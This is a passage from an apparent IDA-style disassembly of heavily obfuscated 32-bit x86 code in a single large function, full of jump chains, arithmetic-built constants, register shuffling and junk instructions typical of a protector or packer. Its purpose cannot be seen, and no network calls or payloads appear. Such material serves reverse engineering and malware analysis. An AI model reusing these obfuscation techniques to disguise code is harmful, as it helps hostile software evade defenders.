		jmp	loc_5A662F
; ---------------------------------------------------------------------------


loc_59D806:				; CODE XREF: sub_581EE9+11012j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	[esp-6E66h+arg_6E60+2]
		pop	ebp
		pop	[esp-6E66h+arg_6E5C+2]
		pop	esp
		push	ebx
		jmp	loc_5A2241
; ---------------------------------------------------------------------------


loc_59D81E:				; CODE XREF: sub_581EE9+112B6j
		mov	[esp-6E4Eh+arg_6E44+2],	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 6F7E6857h
		or	edi, 398163D2h
		shl	edi, 6
		not	edi
		and	edi, 2360430Bh
		jmp	loc_5A68DD
; ---------------------------------------------------------------------------


loc_59D83F:				; CODE XREF: sub_581EE9+1DE4Aj
		pop	edi
		jmp	loc_5A7108
; ---------------------------------------------------------------------------


loc_59D845:				; CODE XREF: sub_581EE9+16467j
		xor	ecx, [esp-6E72h+arg_6E68+2]
		pop	esp
		jmp	loc_594952
; ---------------------------------------------------------------------------


loc_59D84E:				; CODE XREF: sub_581EE9+1D5C6j
		push	[esp-6E76h+arg_6E6E]
		pop	ebx
		jmp	loc_59AF1C
; ---------------------------------------------------------------------------


loc_59D857:				; CODE XREF: sub_581EE9+246D4j
		neg	ecx
		jmp	loc_5A0211
; ---------------------------------------------------------------------------


loc_59D85E:				; CODE XREF: sub_581EE9+15264j
		mov	word ptr [esp-6E76h+arg_6E6E], cx
		mov	cl, 2Dh
		push	eax
		mov	al, 6Eh
		sub	bl, al
		pop	eax
		sub	bl, cl
		push	ecx
		mov	cl, 11h
		sub	cl, 0A3h
		add	bl, cl
		pop	ecx
		jmp	loc_594250
; ---------------------------------------------------------------------------


loc_59D87A:				; CODE XREF: sub_581EE9+16E97j
		add	ebx, 4
		xchg	ebx, [esp-6EA6h+arg_6E9E]
		pop	esp
		sub	esp, 4
		mov	[esp-6EA6h+arg_6E9E], ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		xor	edx, dword ptr [esp-6EAAh+arg_6EA2]
		xor	dword ptr [esp-6EAAh+arg_6EA2],	edx
		xor	edx, dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		sar	byte ptr [esp-6EAEh+arg_6EA4+2], cl
		pushf
		jmp	loc_599636
; ---------------------------------------------------------------------------


loc_59D8A5:				; CODE XREF: sub_581EE9+19DF0j
		add	ecx, 79F960D3h
		inc	ecx
		jmp	loc_59F8B4
; ---------------------------------------------------------------------------


loc_59D8B1:				; CODE XREF: sub_581EE9+18B46j
		dec	edx
		sub	edx, 143D8E31h
		mov	eax, edx
		pop	edx
		shl	eax, 4
		xor	eax, 4C913357h
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		or	eax, 441C5114h
		jmp	loc_5A4E17
; ---------------------------------------------------------------------------


loc_59D8D1:				; CODE XREF: sub_581EE9+21DF3j
		add	edi, ebp
		pop	ebp
		jmp	loc_5A07E5
; ---------------------------------------------------------------------------


loc_59D8D9:				; CODE XREF: sub_581EE9+24F58j
		sub	al, 8
		jmp	loc_59B28A
; ---------------------------------------------------------------------------


loc_59D8E0:				; CODE XREF: sub_581EE9+2492Cj
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6E5Ch+arg_6E54]
		pop	esp
		mov	[esp-6E60h+arg_6E58], edx
		mov	dx, 0A28h
		and	dx, 464Ch
		xor	dx, 20Ch
		add	dx, 368Dh
		sub	dx, 34FFh
		jmp	loc_5A1C25
; ---------------------------------------------------------------------------


loc_59D910:				; CODE XREF: sub_581EE9+1B108j
		mov	eax, [esp-6E56h+arg_6E4C+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E52h+arg_6E48+2]
		jmp	loc_592C21
; ---------------------------------------------------------------------------


loc_59D927:				; CODE XREF: sub_581EE9+1FE60j
		mov	esi, 55AF3EFAh
		jmp	loc_5A206F
; ---------------------------------------------------------------------------


loc_59D931:				; CODE XREF: sub_581EE9+249C5j
		add	esp, 4
		xor	cl, 3Dh
		push	9C8h
		jmp	loc_599013
; ---------------------------------------------------------------------------


loc_59D944:				; CODE XREF: sub_581EE9+21E71j
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 9A5B0D04h
		mov	eax, ebx
		jmp	loc_59205D
; ---------------------------------------------------------------------------


loc_59D954:				; CODE XREF: sub_581EE9+11CD4j
		push	ebp
		mov	ebp, 681F0FF0h
		jmp	loc_5A1B2F
; ---------------------------------------------------------------------------


loc_59D95F:				; CODE XREF: sub_581EE9+18F1Ej
		mov	esi, [esp]
		jmp	loc_59DE31
; ---------------------------------------------------------------------------


loc_59D967:				; CODE XREF: sub_581EE9+154A2j
		pop	eax
		jmp	loc_5A42B0
; ---------------------------------------------------------------------------


loc_59D96D:				; CODE XREF: sub_581EE9+2435Bj
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], ebx
		mov	ebx, 1ACF78A1h
		mov	esi, ebx
		pop	ebx
		xor	ebp, esi
		pop	esi
		sub	ecx, 10632AE3h
		sub	ecx, 1CE468D9h
		add	ecx, ebp
		add	ecx, 1CE468D9h
		add	ecx, 10632AE3h
		mov	ebp, [esp-6E86h+arg_6E7C+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		add	ecx, 4
		xor	ecx, [esp-6E86h+arg_6E7C+2]
		xor	[esp-6E86h+arg_6E7C+2],	ecx
		xor	ecx, [esp-6E86h+arg_6E7C+2]
		pop	esp
		pop	[esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Eh+arg_6E84+2]
		bts	word ptr [esp-6E8Eh+arg_6E84+2], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E8Ah+arg_6E80+2]
		push	555Ah
		mov	[esp-6E86h+arg_6E7C+2],	ebx
		jmp	loc_59C33B
; ---------------------------------------------------------------------------


loc_59D9DD:				; CODE XREF: sub_581EE9+1CD0Fj
		xor	edx, 234F11EFh
		add	edx, 1C8C28EBh
		add	ecx, edx
		pop	edx
		pop	eax
		add	ecx, 2
		push	79F5h
		mov	[esp-6E8Ah+arg_6E80+2],	ecx
		jmp	loc_5A685D
; ---------------------------------------------------------------------------


loc_59DA00:				; CODE XREF: sub_581EE9+172ADj
		mov	[esp-6E72h+arg_6E68+2],	edx
		mov	edx, esp
		jmp	loc_5A6F0A
; ---------------------------------------------------------------------------


loc_59DA0A:				; CODE XREF: sub_581EE9+12CE2j
		push	edx
		mov	edx, 2F7503A5h
		xor	edx, 3C869917h
		add	ebx, edx
		jmp	loc_59FE1D
; ---------------------------------------------------------------------------


loc_59DA1D:				; CODE XREF: sub_581EE9+1C70Bj
		push	edx
		push	24h
		pop	edx
		jmp	loc_599B84
; ---------------------------------------------------------------------------


loc_59DA29:				; CODE XREF: sub_581EE9+24F79j
		mov	ecx, [esp-6E80h+arg_6E76+2]
		add	esp, 4
		push	ebp
		push	7583h
		mov	[esp-6E7Ch+arg_6E72+2],	eax
		mov	eax, 2AC143AAh
		push	ebp
		mov	ebp, 58F61E99h
		jmp	loc_59B7A0
; ---------------------------------------------------------------------------


loc_59DA4B:				; CODE XREF: sub_581EE9+1AF01j
		xor	esi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5978F3
; ---------------------------------------------------------------------------


loc_59DA59:				; CODE XREF: sub_581EE9+1096Dj
		pop	edi
		push	small 3507h
		mov	word ptr [esp-6EC2h+arg_6EBA], bx
		push	esi
		mov	si, 643Ah
		dec	si
		jmp	loc_59813F
; ---------------------------------------------------------------------------


loc_59DA6E:				; CODE XREF: sub_581EE9+1E329j
		mov	edi, 0C53583BBh
		sub	ecx, edi
		pop	edi
		jmp	loc_59D7B5
; ---------------------------------------------------------------------------


loc_59DA7B:				; CODE XREF: sub_581EE9+1D6E8j
		sub	esi, 7695071Eh
		push	54DEh
		mov	[esp-6EBEh+arg_6EB6], ebp
		jmp	loc_595C56
; ---------------------------------------------------------------------------


loc_59DA8E:				; CODE XREF: sub_581EE9+1703Fj
		neg	esi
		push	ebp
		mov	ebp, 3F444366h
		jmp	loc_59ADD7
; ---------------------------------------------------------------------------


loc_59DA9B:				; CODE XREF: sub_581EE9+2391Bj
		pop	eax
		push	ecx
		jmp	loc_59F762
; ---------------------------------------------------------------------------


loc_59DAA2:				; CODE XREF: sub_581EE9+1401Bj
		sub	ebp, 44C46D67h
		push	[esp-6E58h+arg_6E50]
		pop	edx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E5Ch+arg_6E54]
		jmp	loc_5A486C
; ---------------------------------------------------------------------------


loc_59DABA:				; CODE XREF: sub_581EE9+21672j
		push	[esp-6E5Ch+arg_6E54]
		pop	edx
		add	esp, 4
		push	67A0h
		jmp	loc_5A3DF3
; ---------------------------------------------------------------------------


loc_59DACB:				; CODE XREF: sub_581EE9+12035j
		xor	ecx, ebx
		not	ebx
		push	ecx
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	ebx
		pop	ecx
		pop	ebx
		xchg	ecx, edx
		push	edi
		mov	edi, 3F023DCCh
		xor	edx, edi
		pop	edi
		push	edi
		jmp	loc_5948B3
; ---------------------------------------------------------------------------


loc_59DAE9:				; CODE XREF: sub_581EE9+1DA2Bj
		sub	eax, 0B060833h
		pop	esi
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		push	357Ch
		jmp	loc_5A1C2D
; ---------------------------------------------------------------------------


loc_59DB02:				; CODE XREF: sub_581EE9+1A4EEj
		add	eax, 1C517D21h
		xor	eax, 7C2A64C5h
		push	ebp
		mov	ebp, 413E7398h
		xor	eax, ebp
		pop	ebp
		jmp	loc_59A036
; ---------------------------------------------------------------------------


loc_59DB1A:				; CODE XREF: sub_581EE9+1A34Ej
		push	edx
		jmp	loc_59B152
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA6h+arg_6E9E]
		push	edx
		jmp	loc_5925CF
; ---------------------------------------------------------------------------


loc_59DB2A:				; CODE XREF: sub_581EE9+1ACD6j
		mov	cx, word ptr [esp-6E6Ah+arg_6E60+2]
		push	ebp
		jmp	loc_5A6B5C
; ---------------------------------------------------------------------------


loc_59DB34:				; CODE XREF: sub_581EE9+24D52j
		push	esp
		pop	ebx
		add	ebx, 4
		push	4C0Fh
		mov	[esp-6E62h+arg_6E58+2],	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	7EBFh
		mov	[esp-6E62h+arg_6E58+2],	ebx
		push	[esp-6E62h+arg_6E5C+2]
		pop	ebx
		jmp	loc_59E7F4
; ---------------------------------------------------------------------------


loc_59DB5E:				; CODE XREF: sub_581EE9+204E9j
		xchg	eax, [esp-6E62h+arg_6E58+2]
		pop	esp
		jmp	loc_5A49AF
; ---------------------------------------------------------------------------


loc_59DB67:				; CODE XREF: sub_581EE9+1CF7Fj
		push	[esp-6E66h+arg_6E60+2]
		pop	eax
		pop	[esp-6E66h+arg_6E5C+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		sub	esp, 4
		jmp	loc_5A63F7
; ---------------------------------------------------------------------------


loc_59DB84:				; CODE XREF: sub_581EE9+22E1Fj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59DB89:				; CODE XREF: sub_581EE9+1757Fj
		mov	[esp-6E80h+arg_6E76+2],	edi
		push	ebp
		jmp	loc_59807E
; ---------------------------------------------------------------------------
		mov	eax, [esp-6E7Ch+arg_6E72+2]
		sub	esp, 4
		mov	[esp-6E78h+arg_6E6E+2],	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+0], esi
		push	eax
		push	edi
		push	2E9A5717h
		pop	edi
		dec	edi
		and	edi, 22DA0DD0h
		shr	edi, 2
		jmp	loc_59DE42
; ---------------------------------------------------------------------------


loc_59DBBA:				; CODE XREF: sub_581EE9+1D823j
		mov	[esp-6E6Ch+arg_6E64], edx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59DBC2:				; CODE XREF: sub_581EE9+1F5BCj
		sub	esi, 0D155B61Eh
		add	esi, 40BD260Ch
		sub	esi, 0FFFFFFFFh
		push	edx
		mov	edx, 60927F66h
		add	esi, edx
		pop	edx
		xor	esi, 1AFF21BDh
		jmp	loc_5982AC
; ---------------------------------------------------------------------------


loc_59DBE5:				; CODE XREF: sub_581EE9+21F65j
		sub	edi, 4A832B05h
		pop	ebx
		push	580Fh
		jmp	loc_596372
; ---------------------------------------------------------------------------


loc_59DBF6:				; CODE XREF: sub_581EE9+1B73Ej
		push	bx
		jmp	loc_59F499
; ---------------------------------------------------------------------------


loc_59DBFD:				; CODE XREF: sub_581EE9+1A1D8j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5997E7
; ---------------------------------------------------------------------------


loc_59DC10:				; CODE XREF: sub_581EE9+1B90Bj
		add	esp, 4
		jmp	loc_59EDEC
; ---------------------------------------------------------------------------


loc_59DC1B:				; CODE XREF: sub_581EE9+1EB6Bj
		sub	edx, esi
		pop	esi
		shr	edx, 5
		jmp	loc_5A11B1
; ---------------------------------------------------------------------------


loc_59DC26:				; CODE XREF: sub_581EE9+1BDC9j
		push	edx
		push	38296BD3h
		pop	edx
		not	edx
		xor	edx, 8407D2D4h
		jmp	loc_5A520E
; ---------------------------------------------------------------------------


loc_59DC3A:				; CODE XREF: sub_581EE9+11151j
		sub	eax, edx
		mov	edx, [esp-6E5Eh+arg_6E54+2]
		add	esp, 4
		xor	eax, [esp-6E62h+arg_6E58+2]
		xor	[esp-6E62h+arg_6E58+2],	eax
		xor	eax, [esp-6E62h+arg_6E58+2]
		mov	esp, [esp-6E62h+arg_6E58+2]
		mov	[esp-6E62h+arg_6E58+2],	esi
		sub	esp, 4
		mov	[esp-6E5Eh+arg_6E54+2],	ebx
		push	[esp-6E5Eh+arg_6E54+2]
		jmp	loc_59223E
; ---------------------------------------------------------------------------


loc_59DC62:				; CODE XREF: sub_581EE9+15F66j
		push	[esp-6E72h+arg_6E6E]
		mov	ecx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		pop	[esp-6E72h+arg_6E68+2]
		jmp	loc_5A3477
; ---------------------------------------------------------------------------


loc_59DC77:				; CODE XREF: sub_581EE9+1E7BFj
		mov	edi, 498A46D0h
		and	edi, 133A347Ah
		jmp	loc_598F4E
; ---------------------------------------------------------------------------


loc_59DC87:				; CODE XREF: sub_581EE9+1EF71j
		sub	eax, 85DA0D7Ch
		mov	ecx, eax
		jmp	loc_59EF52
; ---------------------------------------------------------------------------


loc_59DC93:				; CODE XREF: sub_581EE9+1F48Dj
		pop	ebx
		xchg	ecx, [esp-6E7Ah+arg_6E72]
		jmp	loc_5A0854
; ---------------------------------------------------------------------------


loc_59DC9C:				; CODE XREF: sub_581EE9+1D56Bj
		dec	eax
		shr	eax, 2
		shr	eax, 8
		sub	eax, 6E3E93Ch
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], ecx
		push	esi
		jmp	loc_59DC26
; ---------------------------------------------------------------------------


loc_59DCB7:				; CODE XREF: sub_581EE9+20AC8j
		mov	esi, 5DB76226h
		xor	eax, esi
		pop	esi
		add	eax, 0CF166EF0h
		add	ebx, eax
		pop	eax
		push	ecx
		push	eax
		mov	eax, 44B62D76h
		add	eax, 7F814AC2h
		jmp	loc_59EDA4
; ---------------------------------------------------------------------------


loc_59DCD8:				; CODE XREF: sub_581EE9+18B1Cj
		neg	ebp
		push	edi
		mov	edi, 486871D4h
		not	edi
		shl	edi, 7
		jmp	loc_597920
; ---------------------------------------------------------------------------


loc_59DCEA:				; CODE XREF: sub_581EE9+1E7B7j
		push	edi
		mov	edi, esp
		jmp	loc_5A2745
; ---------------------------------------------------------------------------


loc_59DCF2:				; CODE XREF: sub_581EE9+12295j
		push	ecx
		push	esp
		pop	ecx
		push	1275h
		jmp	loc_5A06A5
; ---------------------------------------------------------------------------


loc_59DCFF:				; CODE XREF: sub_581EE9+221E5j
		push	ax
		pushf
		jmp	loc_592887
; ---------------------------------------------------------------------------


loc_59DD07:				; CODE XREF: sub_581EE9+23BA1j
		push	esi
		mov	esi, 9641CBBh
		sub	edx, esi
		pop	esi
		jmp	loc_59CB91
; ---------------------------------------------------------------------------


loc_59DD15:				; CODE XREF: sub_581EE9+1D033j
		push	ebp
		mov	ebp, 2
		jmp	loc_5A6AD0
; ---------------------------------------------------------------------------


loc_59DD20:				; CODE XREF: sub_581EE9+21FF9j
		pop	edi
		jmp	loc_59C8D7
; ---------------------------------------------------------------------------


loc_59DD26:				; CODE XREF: sub_581EE9+1476Bj
		pop	esi
		add	esp, 4
		shl	ebx, 7
		jmp	loc_5A1EAB
; ---------------------------------------------------------------------------


loc_59DD32:				; CODE XREF: sub_581EE9+14484j
		mov	ecx, 4ED27406h
		push	ebp
		mov	ebp, 7143209h
		sub	ecx, 250F576Ah
		jmp	loc_59C356
; ---------------------------------------------------------------------------


loc_59DD48:				; CODE XREF: sub_581EE9+153E1j
		push	esi
		mov	esi, 62B57855h
		add	esi, 56560A9Bh
		sub	esi, 126512FFh
		jmp	loc_5A4274
; ---------------------------------------------------------------------------


loc_59DD5F:				; CODE XREF: sub_581EE9+10FC8j
		push	[esp-6E6Ah+arg_6E64+2]
		pop	esi
		pop	[esp-6E6Ah+arg_6E60+2]
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_594FCC
; ---------------------------------------------------------------------------


loc_59DD6F:				; CODE XREF: sub_581EE9+1D009j
		add	esi, ebx
		mov	ebx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		push	23C9h
		mov	[esp-6E6Eh+arg_6E64+2],	ebx
		mov	ebx, 63134801h
		jmp	loc_597205
; ---------------------------------------------------------------------------


loc_59DD89:				; CODE XREF: sub_581EE9+182CBj
		dec	edx
		push	eax
		mov	eax, 0D2F2E30Ch
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6EA6h+arg_6E9E], ebp
		mov	ebp, edx
		jmp	loc_5A61A6
; ---------------------------------------------------------------------------


loc_59DDA3:				; CODE XREF: sub_581EE9+16526j
		and	eax, ebx
		mov	ebx, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		or	eax, eax
		jz	loc_59E58D
		push	7FF7h
		mov	[esp-6E7Eh+arg_6E76], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E7Eh+arg_6E76]
		jmp	loc_59E651
; ---------------------------------------------------------------------------


loc_59DDD4:				; CODE XREF: sub_581EE9+108A6j
		mov	[esp-6EC0h+arg_6EB6+2],	edx
		mov	edx, esp
		jmp	loc_5A6499
; ---------------------------------------------------------------------------


loc_59DDDE:				; CODE XREF: sub_581EE9+1559Fj
		add	ecx, 4
		add	ecx, 2
		xor	ecx, [esp-6E56h+arg_6E4C+2]
		xor	[esp-6E56h+arg_6E4C+2],	ecx
		xor	ecx, [esp-6E56h+arg_6E4C+2]
		mov	esp, [esp-6E56h+arg_6E4C+2]
		cmp	cx, ax
		pushf
		jmp	loc_597521
; ---------------------------------------------------------------------------


loc_59DDFC:				; CODE XREF: sub_581EE9+216ADj
		xor	eax, edi
		pop	edi
		or	ebp, eax
		pop	eax
		jmp	loc_5A3574
; ---------------------------------------------------------------------------


loc_59DE07:				; CODE XREF: sub_581EE9+1A491j
		xor	cl, ah
		pop	eax
		sub	al, 5Fh
		jmp	loc_59EA9C
; ---------------------------------------------------------------------------


loc_59DE11:				; CODE XREF: sub_581EE9+118D2j
		push	ecx
		sub	[esp-6E98h+arg_6E8E+2],	708D2767h
		pop	ebx
		add	ebx, 708D2767h
		push	[esp-6E9Ch+arg_6E92+2]
		pop	ecx
		add	esp, 4
		add	ebx, edi
		jmp	loc_59908C
; ---------------------------------------------------------------------------


loc_59DE31:				; CODE XREF: sub_581EE9+1BA79j
		add	esp, 4
		push	29F4h
		mov	[esp-6EA6h+arg_6E9E], edi
		push	eax
		jmp	loc_5A0EE3
; ---------------------------------------------------------------------------


loc_59DE42:				; CODE XREF: sub_581EE9+1BCCCj
		add	edi, 1B4EC804h
		jmp	loc_59EC90
; ---------------------------------------------------------------------------


loc_59DE4D:				; CODE XREF: sub_581EE9+1E3D1j
		add	esp, 4
		add	ebx, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6E6Ch+arg_6E64]
		pop	esp
		mov	[esp-6E70h+arg_6E68], ebp
		jmp	loc_59558B
; ---------------------------------------------------------------------------


loc_59DE6A:				; CODE XREF: sub_581EE9+1ED0Dj
		add	esi, 4
		jmp	loc_5974B7
; ---------------------------------------------------------------------------


loc_59DE75:				; CODE XREF: sub_581EE9+1CBAEj
		push	edi
		mov	edi, 1C2D0569h
		shr	edi, 1
		xor	edi, 17771B2Ah
		shl	edi, 1
		add	edi, 0C598903h
		mov	esi, edi
		pop	edi
		sub	esi, 7CC6B78h
		add	esi, eax
		add	esi, 7CC6B78h
		pop	eax
		xor	eax, esi
		jmp	loc_59E40F
; ---------------------------------------------------------------------------


loc_59DEA4:				; CODE XREF: sub_581EE9+2270Fj
		sub	ebp, 6696056Eh
		jmp	loc_5A0CDA
; ---------------------------------------------------------------------------


loc_59DEAF:				; CODE XREF: sub_581EE9+23EADj
		add	esp, 4
		jmp	loc_59819F
; ---------------------------------------------------------------------------


loc_59DEB7:				; CODE XREF: sub_581EE9+17D35j
		push	[esp-6E7Ah+arg_6E72]
		pop	ebx
		add	esp, 4
		shl	ebp, 8
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ebp, esi
		pop	esi
		not	ebp
		xor	ebp, 0E5AE0965h
		mov	eax, ebp
		pop	ebp
		jmp	loc_5A26AD
; ---------------------------------------------------------------------------


loc_59DEDA:				; CODE XREF: sub_581EE9+15C61j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EBCh+arg_6EB2+2]
		pop	esp
		add	eax, 4
		xor	eax, [esp-6EC0h+arg_6EB6+2]
		xor	[esp-6EC0h+arg_6EB6+2],	eax
		xor	eax, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_5A6F66
; ---------------------------------------------------------------------------


loc_59DEFD:				; CODE XREF: sub_581EE9+1A52Bj
		mov	ebp, 0A78399Bh
		jmp	loc_59D2D3
; ---------------------------------------------------------------------------


loc_59DF07:				; CODE XREF: sub_581EE9+24D6Cj
		and	ebx, 0C3F1E46h
		not	ebx
		add	ebx, 100A0C42h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5A110D
; ---------------------------------------------------------------------------


loc_59DF1D:				; CODE XREF: sub_581EE9+1FF92j
		mov	[esp-6E7Ah+arg_6E72], ebp
		push	[esp-6E7Ah+arg_6E76]
		mov	ebp, [esp-6E76h+arg_6E6E]
		add	esp, 4
		pop	[esp-6E7Ah+arg_6E72]
		pop	esp
		jmp	loc_594243
; ---------------------------------------------------------------------------


loc_59DF36:				; CODE XREF: sub_581EE9+1C9C9j
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_59B0ED
; ---------------------------------------------------------------------------


loc_59DF42:				; CODE XREF: sub_581EE9+199E8j
		push	5226h
		push	esp
		pop	[esp-6E52h+arg_6E48+2]
		add	[esp-6E56h+arg_6E4C+2],	4
		pop	ecx
		push	eax
		jmp	loc_5A3BE3
; ---------------------------------------------------------------------------


loc_59DF59:				; CODE XREF: sub_581EE9+1DEE0j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		jmp	loc_598D85
; ---------------------------------------------------------------------------


loc_59DF6A:				; CODE XREF: sub_581EE9+108EAj
		add	ebx, edx
		jmp	loc_59F57D
; ---------------------------------------------------------------------------


loc_59DF71:				; CODE XREF: sub_581EE9+1C906j
		add	ebp, 4
		xchg	ebp, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		push	edx
		push	eax
		push	ecx
		mov	ecx, 76FC5042h
		jmp	loc_597510
; ---------------------------------------------------------------------------


loc_59DF8A:				; CODE XREF: sub_581EE9+17C96j
		mov	esi, ebx
		jmp	loc_599190
; ---------------------------------------------------------------------------
		align 2
		fcomp	dword ptr [ebx+53h]
		jmp	loc_5A4799
; ---------------------------------------------------------------------------


loc_59DF9A:				; CODE XREF: sub_581EE9+12E36j
		sub	ecx, 1C754A11h
		jmp	loc_59E2F2
; ---------------------------------------------------------------------------


loc_59DFA5:				; CODE XREF: sub_581EE9+20052j
		shl	ebp, 1
		dec	ebp
		shr	ebp, 6
		shl	ebp, 2
		push	edx
		mov	edx, 1C8338DAh
		xor	ebp, edx
		pop	edx
		sub	ecx, 5CCD2265h
		add	ecx, ebp
		jmp	loc_59FBF1
; ---------------------------------------------------------------------------


loc_59DFC4:				; CODE XREF: sub_581EE9+1F332j
		sub	eax, 211E1551h
		sub	eax, 4B871BFBh
		push	ecx
		mov	ecx, 5D0E620Bh
		add	eax, ecx
		pop	ecx
		push	[esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A2BBB
; ---------------------------------------------------------------------------


loc_59DFDF:				; CODE XREF: sub_581EE9+24487j
		add	esp, 4
		push	65BAh
		mov	[esp-6EA0h+arg_6E96+2],	edx
		push	eax
		mov	ah, cl
		push	ecx
		push	edx
		mov	dl, ah
		push	ebx
		mov	bl, dl
		mov	ch, bl
		pop	ebx
		pop	edx
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		mov	ecx, [esp-6E98h+arg_6E8E+2]
		add	esp, 4
		pop	eax
		jmp	loc_599828
; ---------------------------------------------------------------------------


loc_59E00D:				; CODE XREF: sub_581EE9+1F2C3j
		push	[esp-6EA0h+arg_6E96+2]
		pop	edx
		push	631Dh
		mov	[esp-6E9Ch+arg_6E92+2],	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_5A007E
; ---------------------------------------------------------------------------


loc_59E028:				; CODE XREF: sub_581EE9+18947j
		pop	eax
		add	ebp, ecx
		pop	ecx
		add	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		jmp	loc_5967AE
; ---------------------------------------------------------------------------


loc_59E03C:				; CODE XREF: sub_581EE9+1960Bj
		sub	ah, 77h
		sub	ch, ah
		pop	eax
		push	473Bh
		mov	[esp-6E46h+arg_6E3E], ebx
		mov	bh, 0F9h
		shl	bh, 8
		dec	bh
		shl	bh, 1
		push	eax
		mov	ah, 0EFh
		sub	bh, ah
		pop	eax
		jmp	loc_5A1174
; ---------------------------------------------------------------------------


loc_59E05E:				; CODE XREF: sub_581EE9+1E937j
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_597007
; ---------------------------------------------------------------------------


loc_59E066:				; CODE XREF: sub_581EE9+12F03j
		add	esp, 4
		jmp	loc_59EFA1
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A1046
; ---------------------------------------------------------------------------


loc_59E077:				; CODE XREF: sub_581EE9+1EA34j
		push	eax
		sub	esp, 4
		jmp	loc_5A381F
; ---------------------------------------------------------------------------


loc_59E083:				; CODE XREF: sub_581EE9+2371Ej
		and	edi, eax
		mov	eax, [esp+0]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E8Ch+arg_6E84]
		pop	esp
		jmp	loc_5A4729
; ---------------------------------------------------------------------------


loc_59E0A0:				; CODE XREF: sub_581EE9+1FD5Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		and	eax, esi
		push	[esp-6E94h+arg_6E8A+2]
		mov	esi, [esp+0]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5A4E47
		push	esi
		push	28ABh
		mov	[esp+0], edx
		mov	edx, 0FEh
		push	edx
		jmp	loc_5A10E6
; ---------------------------------------------------------------------------


loc_59E0DF:				; CODE XREF: sub_581EE9+1E8CEj
		push	ecx
		jmp	loc_5A036E
; ---------------------------------------------------------------------------


loc_59E0E5:				; CODE XREF: sub_581EE9+115AEj
		push	ecx
		jmp	loc_599BC2
; ---------------------------------------------------------------------------


loc_59E0EB:				; CODE XREF: sub_581EE9+13080j
		push	2927h
		mov	[esp-6E8Ch+arg_6E84], edx
		mov	edx, 768F55E9h
		and	edi, edx
		pop	edx
		and	edi, 5615115Bh
		xor	edi, 5000010Dh
		add	ecx, edi
		pop	edi
		xor	ecx, [esp-6E94h+arg_6E8A+2]
		xor	[esp-6E94h+arg_6E8A+2],	ecx
		xor	ecx, [esp-6E94h+arg_6E8A+2]
		pop	esp
		jmp	loc_5A690D
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E98h+arg_6E8E+2]
		sub	esp, 4
		mov	[esp-6E94h+arg_6E8A+2],	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	195Dh
		jmp	loc_596466
; ---------------------------------------------------------------------------


loc_59E136:				; CODE XREF: sub_581EE9+204F6j
		add	eax, 5C476F6Dh
		shl	eax, 6
		sub	eax, 0BF920C39h
		mov	esi, eax
		mov	eax, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		or	esi, 254B01C6h
		push	edi
		mov	edi, 2CB69E9h
		not	edi
		sub	edi, 0AE734E97h
		or	esi, edi
		jmp	loc_59C88D
; ---------------------------------------------------------------------------


loc_59E166:				; CODE XREF: sub_581EE9+20497j
		xor	al, bh
		jmp	loc_5A5516
; ---------------------------------------------------------------------------


loc_59E16D:				; CODE XREF: sub_581EE9+22ACCj
		push	edx
